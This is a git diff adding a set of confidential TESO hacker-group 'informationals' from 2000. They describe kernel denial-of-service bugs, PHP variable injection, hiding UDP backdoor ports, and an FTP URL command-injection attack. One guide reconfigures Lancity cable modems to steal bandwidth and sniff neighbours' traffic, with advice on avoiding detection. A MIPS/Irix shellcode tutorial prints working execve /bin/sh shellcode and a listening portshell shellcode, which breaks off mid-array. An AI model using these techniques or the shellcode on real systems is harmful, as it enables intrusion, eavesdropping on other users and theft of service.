4096 entries hence creating that many entries +will result in completely disabled IP functionality for that computer. +The actual exploitation requires an attacker to send three packets per created +entry. The first packet is a fragment at offset zero with a defined length (x) +and the IP More Fragments flag set. The second packet is a zero length fragment +at offset zero, where the IP header length is equal to the IP total length and +the IP More Fragments flag is set too. The third packet is a fragment at offset +x (length of first fragment data) without having IP More Fragments flag set. +This creates one stranded fragment. A public exploit called sesquipedalian.c is +available. + + +<= 2.2.9 bogus IP options + +All Linux kernels up to and including 2.2.9 have a implementation bug of the IP +options parsing. When an IP packet with bogus IP options is experienced the +Linux kernel erroneously releases the allocated memory two times, which causes +memory corruption and under worst circumstances system crashes (kernel panics). +There is a public exploit linux-icmp.c, which sends partly random packets +resulting in a small percentage of invalid packets that will trigger this +vulnerability. However, a public exploit which exploits the vulnerability in an +exact way is not available. The vulnerability was made public around 1999/06/01. + + +2.2.x (possibly others) unknown, cause kernel hung (?) + +There is a remotely exploitable denial of service vulnerability in the latest +Linux 2.2.x systems. Evidence is strong that TESO's webserver as well as two +other TESO related boxes have been taken down with this some month ago. +However, there are no further informations on this. + + +=============================================================================== + diff --git a/informationals/teso-i0015.txt b/informationals/teso-i0015.txt new file mode 100644 index 0000000..e3ed9d9 --- /dev/null +++ b/informationals/teso-i0015.txt @@ -0,0 +1,45 @@ +0015 2000/02/19 Possible security weakness in implementation of PHP3 scripts + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: set values for PHP variables from URL handler +Date .................: 2000/01/19 00:01 +Author ...............: hendy +Publicity level ......: unknown? +Affected .............: PHP3 scripting engine, possibly other scripting + languages +Type of entity .......: PHP(3) +Severity/Importance ..: low +Found by .............: hendy + +Information =================================================================== + +In PHP it is possible to supply 'external' variables via HTTP POST or GET +methods which is useful for html-forms or something. the weakness in this +implementation is that anybody can easily set values for variables. +for example you can request + +http://teso.scene.at/index.php3?foo=bar + +within the PHP script index.php3 there will be the variable $foo with value +bar. this should be no real problem, because usually coders initialize +variables in the program if they first use it. but there are some exceptions +where (lazy?) coders often do + +while(bleh) +{ + $foo = $foo . $bar; + ... +} + +so you could insert code into the variable $foo now. such loops are for example +used for dynamically making mysql query code, you can insert your own code +then, exploiting the backend database. + +there is one point which is still very difficult: whats the name of the +variable(s) used, and for what. i dont have a solution for that, sorry. brute +force and a bit brain is the best solution IMHO ;) + +=============================================================================== diff --git a/informationals/teso-i0016.txt b/informationals/teso-i0016.txt new file mode 100644 index 0000000..d233b81 --- /dev/null +++ b/informationals/teso-i0016.txt @@ -0,0 +1,47 @@ +0016 2000/02/23 Trick to hide UDP ports, trick to discover this + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Trick to hide UDP ports, trick to discover this +Date .................: 2000/02/23 18:00 +Author ...............: scut +Publicity level ......: unknown +Affected .............: UDP/IP stack +Type of entity .......: implementation +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: scut + +Information =================================================================== + +Many hacking tools operate as an UDP daemon, which listens on a UDP port for +messages. Usually this open UDP ports are easily discovered through a simple +UDP port scan. However, most hackers try to avoid detection by using a high +port number which won't be scanned usually. + + There is a better method of hiding UDP ports, by copying the behaviour of a +closed UDP port: Just send a ICMP Port Unreachable packet each time a packet +is received on the port. To do this you have to call an ICMP send routine +directly after you have received an UDP packet. This ICMP send routine has to +craft a Unreachable packet similar to the one the system would create and send +it back to the source IP of the received UDP packet. + +While this looks very stealthy it has a really cool flaw which is easy to +oversee. Every IP packet, hence the ICMP packet too has to have an IP ID, +which is linear on most systems. If you just fill in a random one in the ICMP +packet you generate, your port can still be detected. To do this one will +sequentially scan all UDP ports and collect all received ICMP unreachable +packets. Then your artificial ICMP packets will be those which don't match +into the mostly linear IP ID's of the other ICMP packets. + +To avoid detection completely on a system whose kernel generates linear IP ID's +you have to aquire the current IP ID before sending a bogus ICMP packet. This +can be discovered remotely too, if you get the ID by sending a packet to a UDP +port yourself and watch the IP ID in the ICMP unreachable packet send back to +you: An IP ID increment value of two instead of one will be observed. To do +this right a direct access to the current IP ID is required. + +=============================================================================== + diff --git a/informationals/teso-i0017.txt b/informationals/teso-i0017.txt new file mode 100644 index 0000000..40c621a --- /dev/null +++ b/informationals/teso-i0017.txt @@ -0,0 +1,195 @@ +0017 2000/02/25 Information on how to exploit Lancity cablemodems + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Cablemodems from Lancity are funny. +Date .................: 2000/02/25 00:00 +Author ...............: zap +Publicity level ......: unknown +Affected .............: LCPet10, probably the whole product-family +Type of entity .......: +Type of discovery ....: +Severity/Importance ..: medium, since not usable by script-kiddies +Found by .............: zap + +Prelude ======================================================================= + +Lancity Cablemodems are very popular amongst cablenet-providers. +At least in Austria they are used almost everywhere. + +When I started investigating the ugly thing under my desk I found it very hard +to gain ANY information about these modems, nowadays sold by Nortel Networks. + +I've been in my town's cablenet for about a year which is operated by not very +competent persons, so this information might not be of any or limited use +in professionally administrated environments. + +Basics ======================================================================== + +The modem uses the very primitive "Internet Boot Protocol" (RFC951, bootpd(8)) +for gaining basic network information like IP-address, netmask, bootserver and +so on. + +From the bootserver it downloads it's configuration-file (RFC1533) via TFTP +(RFC783, tftp(1), tftpd(8)) which contains a MD5-digest generated from a +64-byte key. It might also download a upgrade-file after that. + +This generally happens on power-up, although I have found my pet reconfiguring +itself after a while occasionally. + +The configuration-file contains information about Tx/Rx-frequencies, bandwidth, +SNMP-manager-IP's, client-IP's/MAC's, SNMP-community-names and so on. + +After the modem is up & running it accepts SNMP-commands from IP's listed as +managers. + +Let's party ... + +1. SNMP-managing your modem =================================================== + +Since the SNMP used doesn't use another authentication than the IP-address and +the SNMP-community-name (which is often something like 'private'), it's easy +to modify and read some interesting values, where most of them are related to +filters. Some networks allow IP only so it's not possible to use other +protocols such as IPX (lots of games) - this behaviour can be changed. + +Note that it's generally a good idea to disconnect the modem from the rest of +the net while doing this because the manager is very often a Windows-box which +are known to start crying upon a IP-conflict - causing a perceived IP-conflict +would be like calling your provider and telling him that you're having fun with +your modem. + +However if you're sure nothing will happen you can also change the settings +of other modems. + +Finding a manager-IP is quite easy (at least in my case, I'm not sure if it's +the same everywhere), just watch the network-traffic: If there is some host +which is periodically pinging modems it is a manager. +Use it's IP (and eventually MAC) to SN-manage your modem. + +IMHO this should work in most of the cases, let's get to something +really interesting: + +2. Configuring your modem from ground-up ====================================== + +As I said, the configuration-files contains a MD5-digest. +I have found some providers using the default-key that comes with the lc-modems +(including my provider), so I assume that this is a fact (let me know if I'm +wrong). I have tried to change my modem's key once and I didn't succeed - +maybe it ain't possible at all? (not likely) + +If you're able to produce a valid config-file for your modem you can do magic +things like expanding your modem's bandwidth to 10mbit, increasing your net- +work priority and so on. + +Let's assume you've got your modems "secret" key for now. + +You'll need a config-file (no matter if cleartext or binary, since you can +decode the binaries) used in your network. + +Attempt to tftp to the manager and request files like 1.cfg, 1.md5, test.md5 +and so on; Be creative. +The file-naming depends on your provider, but they most likely use some +file-name which is somehow related to your ip, your name, your modem's ip or +something. You don't actually need _your_ configuration, any would do. +Some also run quite braindead TFTP-daemons, try to request ../autoexec.bat +for example - if this works you might be able to retrieve other useful +information (as for example the non-standard key!). + +Another way would be to try sniffing TFTP-requests from your or other modems +to find out filenames, try unplugging the network-side while your modem is +booting (check the leds) and see if it sends the request to your side. + +If your modem requests a file like '212.md5' chances are big that you'll be +able to request '212.cfg' from the manager's tftpd (although you don't +necessarily need the cleartext-file). + +Once you got the needed information, download the modem's update-file from the +manager (if mentioned in the cfg) via TFTP, build a valid config-file, encode it +and try to feed it to your modem: + +Configure a bootpd-server (see bootpd(8)), edit your bootptab (see bootptab(5)), +set up your tftpd and copy the needed files there. + +The bootptab-entry for my modem looked like this: + +mypet:ht=ether:ha=0000CA066166:bf=mypet.md5:ip=10.10.0.15:sm=255.0.0.0:to=3600:sa=10.0.0.58 + +ha: ethernet-address, you'll get this by watching the network-traffic +bf: md5-encoded bootfile +ip: your modem's ip (use the ip your provider gave your modem!!) +sm: subnet-mask +to: timeout +sa: tftp-server to be used (your box!) + +I noticed that my modem always prepended the bootfile-name with a '/', so the +tftpd-server didn't serve the file the modem wanted, however a small hack to +tftpd made this work. + +Once you get this running (watch the LEDs) you've won. You can modify the +modem's behaviour to your wishes. + +Once again, DON'T CHANGE your modem's or your ip-address. Even if you've got +dumb administrators they will catch you someday (I can tell from experience). +Another good idea is NOT to open your modem (=breaking the seal) cause even +if they get suspicious and want the modem back they won't be able to prove that +you've manipulated the modem. + +Pretty wild, but let's push it a little further... + +3. Making your modem half-promicious ========================================== + +This one is quite tricky. +It's very important that your modem forwards any data with any MAC&IP-address +from your side to the network - this can be easily done by reconfiguring your +modem (set MaxNodes > 1, ClientEnetAddr & ClientIpAddr to all 0's). +I might have used a special sniff-configuration where the gateway and my box +were the only allowed clients - I can't clearly remember this, you'll have to +try both variations. + +Ok, this is how it's done: + +- Power-off the modem + +- Start sending some data (I think I used ICMP-pings) with the *SAME* MAC + and IP as the gateway (or the host you want to sniff) has + +- Power-on the modem + +- Configure it as described in 2. + +- Stop sending data after a while + +I remember that the timing was very vital to perform this correctly! If it +works you'll immediately see LOTS of network-traffic. + +My theory on how this works: +The modem communicates with a so-called Head-End-Controller (read the Lancity- +docs) and it tells the controller which IP and MAC (I think the MAC is +essential) it's client(s) has. The controller routes all the stuff for this MAC +to your segment, where your modem will again route it thankfully to you. + +This is why I call it "half-promicious" - you'll only get the stuff that other +clients send to the gateway, not the other direction. +However one way of the traffic is enough to sniff. Simply patch tcpdump a +little to log anything you've ever wanted to know about your neighbours. + +In a earlier state of investigation I found out that sending faked ARP-queries +(you, with the same MAC & IP as the gateway, want to know the MAC of some dummy +host) made the modem route stuff on the cable destinating to the gateway +to you. The disadvantage is that you'll only get stuff which is on your segment +only and this might be very little interesting data. + +Appendix ====================================================================== + +This document might be slightly inaccurate, but it all worked for me. +I'm very curious about feedback, corrections and clarifications. +The needed files (cfg-file-en/decoder, snmp-vars-documentation, general lcpet- +documentation, patched tftpd, default-key, sample-cfg's etc.) should be +available as teso-lancity-x.x.tar.gz in teso's internal file-area. + +Have fun. + +=============================================================================== diff --git a/informationals/teso-i0018.txt b/informationals/teso-i0018.txt new file mode 100644 index 0000000..61fcb6b --- /dev/null +++ b/informationals/teso-i0018.txt @@ -0,0 +1,74 @@ +0018 2000/03/11 Exploiting FTP URL parsing within web browsers + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Exploiting FTP URL parsing within web browsers +Date .................: 2000/03/11 19:00 +Author ...............: scut +Publicity level ......: known +Affected .............: Web browsers which parse FTP URLs in HTML tags +Type of entity .......: implementation +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: bugtraq readers + +Information =================================================================== + +Common web browsers such as Netscape Navigator and Microsoft Internet Explorer +have the ability to download files using the FTP file transfer protocol. It is +also possible to use an FTP URL as source address for binary files such as +images or other objects included within a HTML file. + +However, the URL encoding scheme allows one to use encoded characters within +the URL, such as "%20" which means the character '\x20', which is a space. All +characters are allowed, no filtering takes place. + +Therefore it's possible to use the FTP protocol command separator character +sequence which happens to be (CR, LF) too. This way arbitrary commands can be +executed on the FTP server the URL uses. + +Example: + + + +This URL within the "src" parameter is translated by the browser (Netscape +Navigator in this case) to: + +USER anonymous +PASS mozilla@ +REST 0 +SYST +PASV +TYPE I +SIZE /foobar.gif +HELP + +The SIZE command uses the user supplied filename, which happens to be +"/foobar.gif\x0d\x0aHELP" and appends a CR,LF sequence to it, resulting in an +extra FTP command "HELP" being executed. + +We can exploit this in several ways. One way would be to launch a denial of +service attack using this technique. To do this one would inject a few of this +modified FTP URLs into a high traffic web site which has lots of visitors. The +URLs would contain PORT commands to create a connection to another site and +then transfer a big file from the server to it. + +In a similar way we can exploit IP based trust relationships. Given the +situation that user "joe" from company A uses an anonymous company internal ftp +server "private" to access his files. We know his email client is able to read +HTML emails, then we could inject a link such as: + + + +Where 123.124.125.126 is our IP with a listening TCP socket on port 2560 +(10 * 256 + 0). We would receive a listing of the files in the "/" directory +once "joe" reads this mail. Since the "/foobar.gif" doesn't exist on "private" +his email client would use the "lowsrc" parameter, which can be a 1x1 pixel +dummy image to avoid detection. Also the whole URL can be encoded for +further obfuscation. + +=============================================================================== + diff --git a/informationals/teso-i0019.txt b/informationals/teso-i0019.txt new file mode 100644 index 0000000..9ce06b9 --- /dev/null +++ b/informationals/teso-i0019.txt @@ -0,0 +1,34 @@ +0019 2000/03/21 Majordomo include inconveniences + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Majordomo include inconveniences +Date .................: 2000/03/21 19:26 +Author ...............: typo +Publicity level ......: well known +Affected .............: Mailing Lists +Type of entity .......: implementation +Type of discovery ....: useful information +Severity/Importance ..: medium +Found by .............: everyone? + +Information =================================================================== + +Most people that use Majordomo with the rules imposed by the resend script +use another, supposed to be secret, MTA include for the real outgoing mails +instead of a dedicated bulk mailer. + +But if you know the name of the real include you can simply bypass all +rules that resend enforces. + +Lets take a reallife example and look at some headers: + +Received: (from majordomo@localhost) by kxxxxxxaxxe.org (8.9.3/8.9.3) +id QAA21181 for linuxde-outgoing; Tue, 21 Mar 2000 16:30:36 +0100 + +the real name is linuxde-outgoing.. mails sent there can be of +arbitary size, and bypass moderation, headers, footers, banned words,... + +=============================================================================== diff --git a/informationals/teso-i0020.txt b/informationals/teso-i0020.txt new file mode 100644 index 0000000..e862a7e --- /dev/null +++ b/informationals/teso-i0020.txt @@ -0,0 +1,669 @@ +0020 2000/03/29 Writing MIPS/Irix shellcode + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Writing MIPS/Irix shellcode +Date .................: 2000/03/29 17:00 +Author ...............: scut +Publicity level ......: known +Affected .............: MIPS/Irix shellcode +Type of entity .......: technique +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: Last Stage of Delirium, DCRH, scut + +=============================================================================== + +Writing shellcode for the MIPS/Irix platform isn't much different then writing +shellcode for the x86 architecture. But there are a few tricks and things to +obey when attempting to make clean shellcode, which doesn't have any NUL bytes +and works completely independent from it's position. + +This small paper will provide you a crash course on writing IRIX shellcode for +use in exploits. It covers the basic stuff you need to know to start away +writing basic IRIX shellcode. It is divided into the following sections: + + The IRIX operating system + MIPS architecture + MIPS instructions + MIPS registers + The MIPS assembly language + High level language function representation + Syscalls and Exceptions + IRIX syscalls + Common constructs + Tuning the shellcode + Example shellcode + References + + +The IRIX operating system +========================= + +The Irix operating system has been developed independently by Silicon Graphics +and is UNIX System V.4 compliant. It has been designed for MIPS CPU's, which +have a unique history and have pioneered 64bit- and RISC-technology. The +current Irix version is 6.5.7. There are two major versions, called feature +(6.5.7f) and maintenance (6.5.7m) release, from which the feature release is +focused on new features and technologies and the maintenance release on bug +fixes and stability. All modern Irix platforms are binary compatible and this +shellcode discussion and the example shellcodes have been tested on over half a +dozen different Irix computer systems. + + +MIPS architecture +================= + +First of all you have to have some basic knowledge about the MIPS CPU +architecture. There are a lot of different types of the MIPS CPU, the most +common are the R4x00 and R10000 series, which share the same instruction set. +The MIPS CPU' are typical RISC CPU's, that means they have a reduced +instruction set with less instructions then CISC CPU's, such as x86. The main +concept of RISC CPU's is a tradeoff between simplicity and concurrency: There +are less instructions, but the existing ones can be executed fast and in +parallel. Because of this small number of instructions there is less redundancy +per instruction, some things can only be done using a single instruction, while +on CISC CPU's it is possible in many ways utilizing many different +instructions. This also results in MIPS machine code being larger, since often +multiple instructions are required to accomplish things CISC CPU's are able to +do with one instruction. + But this does not mean that multiple instructions also result in slower code. +This is a matter of overall execution speed, which is extremely high because +of the parallel execution of the instructions. + On MIPS CPU's the concurrency is very advanced, the CPU has a pipeline with +five slots, which means five instructions are processed in parallel and every +instruction has five stages, from the initial IF pipestage (instruction fetch) +to the last, the WB pipestage (write back). + +Because the instructions within the pipeline overlap there are some "anomalies" +that have to be considered when writing MIPS machine code: + + - there is a branch delay slot, where one instruction after the branch + (or jump) instruction is still in the pipeline and executed + - the return address for subroutines ($ra) and syscalls (C0_EPC) points + not to the instruction after the branch/jump/syscall instruction but to + the instruction after the branch delay slot instruction + - since every instruction is divided into five pipestages the MIPS design + has reflected this on the instructions itself: every instruction is + 32 bits broad (4 bytes), and can be divided most of the times into + segments which correspond with each pipestage + + +MIPS instructions +================= + +MIPS instructions are not just 32 bit long each, they often share a similar +mapping too. An instruction can be divided into the following sections: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0 + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | op | sub-op |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode | + +-----------+---------+-----------------------------+-----------+ + +The "op" field denotes the 6bit long primary opcode. Some instructions, such +as long jumps (see below) have a unique code here, the rest are grouped by +function. The "sub-op" section, which is five bytes long can represent either +a specific sub opcode as extension to the primary opcode or can be a register +block. A register block is always 5 bits long and selects one of the CPU +registers for an operation. The subcode is the opcode for the arithmetic and +logical instructions, which have a primary opcode of zero. + + The logical and arithmetic instructions share a RISC-unique attribute: They +don't work with two registers, such as common x86 instructions, but they use +three registers, named "destination", "target" and "source". This allows more +flexible code to be written, if you still want CISC type instructions, such +as "add %eax, %ecx", just use the same destination and target register for the +operation. + +A typical MIPS instruction looks like: + + or a0, a1, t4 + +which is easy to represent in C as "a0 = a1 | t4". The order is almost every +time equivalent to a simple C expression. For the complete list of instructions +see either [1] or [2]. + + +MIPS registers +============== + +For the MIPS registers, it has plenty of 'em. Since we already know registers +are addressed using a 5 bit block, there must be 32 registers, and yes, we're +right, there are the registers $0 to $31. They are all alike except for $0 and +$31. For $0 the case is very simple: No matter what you do to the registers, +it always contains zero. This is practical for a lot of arithmetic instructions +and can results in elegant code design. The $0 register has been assigned the +symbolic name $zero, guess why :-) + For the $31 register, it's also called $ra, for "return address". Why should +a register ever contain a return address if there is such a nice thing as a +stack to store it, how should recursion be handled otherwise ? Well, the short +answer is, there is no real stack and yes it works. + For the longer answer we will discuss shortly what happens when a function is +called on a RISC CPU. When this is done a special instruction called "jal" is +used. This instruction overwrites the content of the $ra ($31) register with +the appropriate return address and then jumps to an arbitrary address. The +called function however sees the return address in $ra and once finished just +jumps back (using the "jr" instruction) to the return address. But what if the +function wants to to call functions too ? Then there is a stack like segment +it can store the return address on, later restore it and then continue to work +as usual. + Why "stack like" ? Because there is only a stack by convention, any register +may be used to behave like a stack. There are no push or pop instructions +however, the register has to be adjusted manually. The "stack" register is $29, +symbolically referenced as $sp. + Are there other register conventions ? Yes, nearly as many as registers +itself. For the sake of completeness here is a small listing: + + $0 $zero always contains zero + $1 $at is used by assembler (see below), do not use + $2-$3 $v0, $v1 subroutine return values + $4-$7 $a0-$a3 subroutine arguments + $8-$15 $t0-$t7 temporary registers, may be overwritten by subroutine + $16-$23 $s0-$s7 subroutine registers, have to be saved by called function + before they may be used + $24,$25 $t8, $t9 temporary registers + $26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use + $28 $gp global pointer, used to access static and extern variables + $29 $sp stack pointer + $30 $s8/$fp subroutine register, commonly used as a frame pointer + $31 $ra return address + + +The MIPS assembly language +========================== + +Because the instructions are relatively primitive but programmers often want to +accomplish more complex things, the MIPS assembly language works with a lot of +macro instructions. They provide sometimes really necessary operations such as +subtracting a number from a register (which is converted to a signed add by the +assembler) to complex macros, such as finding the remainder for a division. +But the assembler does a lot more then providing macros for common operations. +We already mentioned the pipeline where instructions are processed in parallel. +The execution often directly depends on the order within the pipeline, because +the registers accessed with the instructions are written back in the last +pipestage, the WB (write-back) stage and cannot be accessed before by other +instructions. For old MIPS CPU's the MIPS abbreviation is true when saying +"Microcomputer without Interlocked Pipeline Stages", you just cannot access the +register in the instruction directly following the one that modifies this +register. Nearly all MIPS CPU's currently in use do have a interlock though, +they just wait until the data from the instruction is written back to the +register before allowing the following instruction to read it. + In practice you only have to worry when writing very low level assemble code, +such as shellcode :-), because most of the times the assembler will reorder and +replace your instructions so that they exploit the pipelined architecture at +best. You can turnoff the reordering and macros in any MIPS assembler if you +want to. + +The MIPS CPU's and RISC CPU's altogether weren't designed for easy assembly +language programming. It is more difficult to program a RISC CPU in assembly +then any CISC CPU. Even the first sentences of the MIPS Pro Assembler Manual +from the MIPS corporation recommend to use MIPS assembly language only for +hardware near routines or operating system programming. In most cases a good +C compiler, such as the one SGI developed will optimize the pipeline and +register usage way better then any programmer might do this in assembly. +However, when writing shellcodes we have to face the bare machine code and +have to write size optimized code which doesn't contain any NUL bytes. A +compiler might use large code to unroll loops or to use faster constructs. + + +High level language function representation +=========================================== + + A normal C function can be represented very easily in MIPS assembly most of +the times. You have to differentiate between leaf and non-leaf functions. A +non-leaf function is a function that does not call any other functions. Such +functions do not need to store the return address on the stack, but keep it in +$ra for the whole time. The arguments to a function are stored by the calling +function in $a0, $a1, $a2 and $a3. If this space isn't enough extra stack space +is used, but in most cases the registers suffice. The function may return two +32bit values through the $v0 and $v1 registers. For temporary space the called +function may use the stack referenced by $sp. Also registers are commonly saved +on the stack and later restored from it. The stack usually starts at 0x80000000 +and grows towards small addresses. It is very similar to the stack of a x86 +system. + + +Syscalls and Exceptions +======================= + +On a typical Unix system there are only two modes the current execution can +happen in: The user and the kernel mode. In most modern architectures this +modes are directly supported by the CPU. The MIPS CPU has this two modes plus +an extra mode called "supervisor mode". It was requested by engineers at DEC +for their new range of Workstations when the MIPS R4000 CPU was designed. Since +the VMS/DEC market was important to MIPS they implemented this third mode at +DEC's request to allow the VMS operating system to be run on the CPU. However, +DEC decided later to develop their own CPU, the Alpha CPU and the mode +remained unused. + + Back to the execution modes, on current operating systems designed for the +MIPS CPU only the kernel and user mode is being used. To switch from the user +mode to the kernel mode there is a mechanism called "exceptions". Whenever +a user space process wants to let the kernel to do something or whenever the +current execution can't be successfully continued the control is passed to the +kernel space exception handler. + + For shellcode construction we have to know that we can make the kernel +execute important operating system related stuff like I/O operations through +the syscall exception, which is triggered through the "syscall" instruction. +The syscall instruction looks like: + + syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100 + +Where the x's represent the syscall code, which is ignored on the Irix system. +To avoid NUL bytes you can set those x-bits to arbitrary data. + + +IRIX syscalls +============= + +The following list covers the most important syscalls for use in shellcodes. +After all registers have been appropiatly set the "syscall" instruction is +executed and the execution flow is passed to the kernel. + +== accept + int accept (int s, struct sockaddr *addr, socklen_t *addrlen); + + a0 = (int) s + a1 = (struct sockaddr *) addr + a2 = (socklen_t *) addrlen + v0 = SYS_accept = 1089 = 0x0441 + + return values + + a3 = 0 success, a3 != 0 on failure + v0 = new socket + +== bind + int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen); + + a0 = (int) sockfd + a1 = (struct sockaddr *) my_addr + a2 = (socklen_t) addrlen + v0 = SYS_bind = 1090 = 0x0442 + + For the IN protocol family (TCP/IP) the sockaddr pointer points to a + sockaddr_in struct which is 16 bytes long and typically looks like: + "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", + where aa is ((port >> 8) & 0xff) and bb is (port & 0xff). + + return values + + a3 = 0 success, a3 != 0 on failure + v0 = 0 success, v0 != 0 on failure + +== close + int close (int fd); + + a0 = (int) fd + v0 = SYS_close = 1006 = 0x03ee + + return values + + a3 = 0 success, a3 != 0 on failure + v0 = 0 success, v0 != 0 on failure + +== execve + int execve (const char *filename, char *const argv [], char *const envp[]); + + a0 = (const char *) filename + a1 = (chat * const) argv[] + a2 = (char * const) envp[] + v0 = SYS_execve = 1059 = 0x0423 + + return values + + shouldn't return but replace current process with program, it only returns + in case of errors + +== fcntl + int fcntl (int fd, int cmd); + int fcntl (int fd, int cmd, long arg); + + a0 = (int) fd + a1 = (int) cmd + a2 = (long) arg in case the command requires an argument + v0 = SYS_fcntl = 1062 = 0x0426 + + return values + + a3 = 0 on success, a3 != 0 on failure + v0 is the real return value and depends on the operation, see fcntl(2) for + further information + +== listen + int listen (int s, int backlog); + + a0 = (int) s + a1 = (int) backlog + v0 = SYS_listen = 1096 = 0x0448 + + return values + + a3 = 0 on success, a3 != 0 on failure + +== read + ssize_t read (int fd, void *buf, size_t count); + + a0 = (int) fd + a1 = (void *) buf + a2 = (size_t) count + v0 = SYS_read = 1003 = 0x03eb + + return values + + a3 = 0 on success, a3 != 0 on failure + v0 = number of bytes read + +== socket + int socket (int domain, int type, int protocol); + + a0 = (int) domain + a1 = (int) type + a2 = (int) protocol + v0 = SYS_socket = 1107 = 0x0453 + + return values + + a3 = 0 on success, a3 != 0 on failure + v0 = new socket + +The dup2 functionality isn't implemented as system call but as libc wrapper for +close and fcntl. Basically the dup2 function looks like (simplified): + +int dup2 (int des1, int des2) { + int tmp_errno, + maxopen; + + maxopen = (int) ulimit (4, 0); + if (maxopen < 0) + maxopen = OPEN_MAX; + + if (fcntl (des1, F_GETFL, 0) == -1) + _setoserror (EBADF); + + return -1; + } + + if (des2 >= maxopen || des2 < 0) { + _setoserror (EBADF); + + return -1; + } + + if (des1 == des2) + return des2; + + tmp_errno = _oserror(); + close (des2); + _setoserror (tmp_errno); + + return (fcntl (des1, F_DUPFD, des2)); +} + +So without the validation dup2 (des1, des2) can be rewritten as: + close (des2); + fcntl (des1, F_DUPFD, des2); + +Which has been done in the portshell shellcode below. + + +Common constructs +================= + +When writing shellcode there are always common operations, like getting the +current address. Here are a few techniques that you can use in your shellcodes: + +== Getting the current address + + li t8, -0x7350 /* load t8 with -0x7350 (leet) */ +foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */ + slti t8, zero, -1 /* t8 = 0 (see below) */ +bar: + +Because the slti instruction is in the branch delay slot when the bltzal is +executed the next time the bltzal won't branch and t8 will remain zero. $ra +holds the address of the bar label when the label is reached. + +== Loading small integer values + +Because every instruction is 32 bits long you cannot immediately load a 32 bit +value into a register but you have to use two instructions. Most of the times, +however, you just want to load small values, below 256. Values below 2^16 are +stored as 16 bit value within the instruction and values below 256 will result +in ugly NUL bytes, that should be avoided in proper shellcodes. Therefore we +use a trick to load such small values: + +loading zero into reg: + slti reg, zero, -1 + +loading one into reg: + slti reg, zero, 0x0101 + +loading small integer values into reg: + li t8, -valmod /* valmod = value + 1 */ + not reg, t8 + +For example if we want to load 4 into reg we would use: + li t8, -5 + not reg, t8 + +In case you need small values more then one time you can also store them into +saved registers ($s0 - $s7, optionally $s8). + +== Moving registers + +In normal MIPS assembly you'd use the simple move instruction, which results in +an "or" instruction, but in shellcode you have to avoid NUL bytes, and you can +use this construction, if you know that the value in the register is below +0xffff: + andi reg, source, 0xffff + + +Tuning the shellcode +==================== + +I recommend that you write your shellcodes in normal MIPS assembly and +afterwards start removing the NUL bytes from top to bottom. For simple load +instructions you can use the constructs above. For essential instructions try +to play with the different registers, in some cases NUL bytes may be removed +from arithmetic and logic instructions by using higher registers, such as $t8 +or $s7. Next try replacing the single instruction with two or three +accomplishing the same. Make use of the return values of syscalls or known +register contents. Be creative, use a MIPS instruction reference from [1] or +[2] and your brain and you'll always find a good replacement. + +Once you made your shellcode NUL free you'll notice the size has increased and +your shellcode is quite bloated. Don't worry, this is normal, there is almost +nothing you can do about it, RISC code is nearly always larger then the same +code on x86. But you can do some small optimizations to decrease the size. At +first try to find replacements for instruction blocks, where more then one +instruction is used to do one thing. Always take a look at the current register +content and make use of return values or previously loaded values. Sometimes +reordering saves you from doing jumps. + + +Example shellcode +================= + +All the shellcodes have been tested on the following systems, (thanks to vax, +oxigen, zap and hendy): + +R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and R10000/6.4. + +== execve + +/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso + */ +unsigned long int shellcode[] = { + 0xafa0fffc, /* sw $zero, -4($sp) */ + 0x24067350, /* li $a2, 0x7350 */ +/* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */ + 0x8fa6fffc, /* lw $a2, -4($sp) */ + /* a2 = (char **) envp = NULL */ + + 0x240fffcb, /* li $t7, -53 */ + 0x01e07827, /* nor $t7, $t7, $zero */ + 0x03eff821, /* addu $ra, $ra, $t7 */ + + /* a0 = (char *) pathname */ + 0x23e4fff8, /* addi $a0, $ra, -8 */ + + /* fix 0x42 dummy byte in pathname to shell */ + 0x8fedfffc, /* lw $t5, -4($ra) */ + 0x25adffbe, /* addiu $t5, $t5, -66 */ + 0xafedfffc, /* sw $t5, -4($ra) */ + + /* a1 = (char **) argv */ + 0xafa4fff8, /* sw $a0, -8($sp) */ + 0x27a5fff8, /* addiu $a1, $sp, -8 */ + + 0x24020423, /* li $v0, 1059 (SYS_execve) */ + 0x0101010c, /* syscall */ + 0x2f62696e, /* .ascii "/bin" */ + 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ +}; + +== portshell (listening) + +/* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso + */ +unsigned long int shellcode[] = { + 0x2416fffd, /* li $s6, -3 */ + 0x02c07027, /* nor $t6, $s6, $zero */ + 0x01ce2025, /* or $a0, $t6, $t6 */ + 0x01ce2825, /* or $a1, $t6, $t6 */ + 0x240efff9, /* li $t6, -7 */ + 0x01c03027, /* nor $a2, $t6, $zero */ + 0x24020453, /* li $v0, 1107 (socket) */ + 0x0101010c, /* syscall */ + 0x240f7350, /* li $t7, 0x7350 (nop) */ + + 0x3050ffff, /* andi $s0, $v0, 0xffff */ + 0x280d0101, /* slti $t5, $zero, 0x0101 */ + 0x240effee, /* li $t6, -18 */ + 0x01c07027, /* nor 